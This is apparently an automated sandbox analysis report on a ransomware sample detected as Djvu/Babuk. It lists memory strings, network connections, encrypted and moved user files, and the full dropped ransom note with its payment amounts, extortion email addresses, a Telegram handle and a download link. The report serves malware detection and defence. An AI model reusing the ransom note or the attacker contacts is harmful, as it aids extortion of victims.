Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, IIJEBAEC.8.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: IIJEBAEC.8.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, IIJEBAEC.8.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: IIJEBAEC.8.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17e
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17xe
Source: build2.exe, 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.cQ
Source: SUwX12D2S6.exe, 00000004.00000003.2243152678.00000000008EC000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244719512.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233205692.00000000008D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215516667.00000000008E4000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2245638773.00000000030B0000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: SUwX12D2S6.exe, 00000006.00000002.4131298857.00000000030ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloadsW
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.66.133.162:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0864PsawqSitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7488, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 24.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SUwX12D2S6.exe.5e615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SUwX12D2S6.exe.5e115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SUwX12D2S6.exe.5ed15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.SUwX12D2S6.exe.5e715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SUwX12D2S6.exe.5de15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SUwX12D2S6.exe PID: 7252, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File moved: C:\Users\user\Desktop\UMMBDNEQBN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File deleted: C:\Users\user\Desktop\UMMBDNEQBN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File moved: C:\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.png	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File deleted: C:\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.png	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File moved: C:\Users\user\Desktop\VLZDGUKUTZ.docx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File dropped: C:\$WinREAgent\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	File dropped: C:\Users\user\AppData\Local\VirtualStore\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	File dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99628250709	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584208388432054.txt entropy: 7.99847991902	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945563963808.txt entropy: 7.99846217475	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99855212418	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99832343016	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99841911005	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99841370598	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99836133867	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99841207272	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99816184294	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99772127319	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99560202884	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99864335308	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99246831221	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99874553856	Jump to dropped file
